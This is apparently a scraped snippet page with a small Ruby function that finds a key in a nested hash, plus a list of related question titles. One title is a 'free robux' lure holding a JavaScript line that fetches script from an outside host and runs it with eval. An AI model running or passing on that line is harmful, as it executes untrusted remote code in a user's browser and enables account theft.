Find a key in nested hash ruby

def nested_hash_value(obj,key)
  if obj.respond_to?(:key?) && obj.key?(key)
    obj[key]
  elsif obj.respond_to?(:each)
    r = nil
    obj.find{ |*a| r=nested_hash_value(a.last,key) }
    r
  end
end

h = { foo:[1,2,[3,4],{a:{bar:42}}] }
p nested_hash_value(h,:bar)
#=> 42

Source: stackoverflow.com

Similar codes

2 votes204 views1 answer
Ruby filename from path
Ruby
0 vote213 views1 answer
Is this consistent with ruby-class A<b::c::C::D::e
Ruby
-1 vote203 views1 answer
Rails model column
Ruby
0 vote220 views1 answer
Object service
Ruby
2 votes246 views3 answers
Rails image tag
Ruby
0 vote208 views10 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 2000000000000
Ruby
0 vote208 views1 answer
Rails status migrations
Ruby
0 vote244 views1 answer
Rails select arbitrary n element from array
Ruby
1 vote205 views1 answer
Dotenv-rails comments
Ruby
0 vote201 views1 answer
How to json into hash ruby
Ruby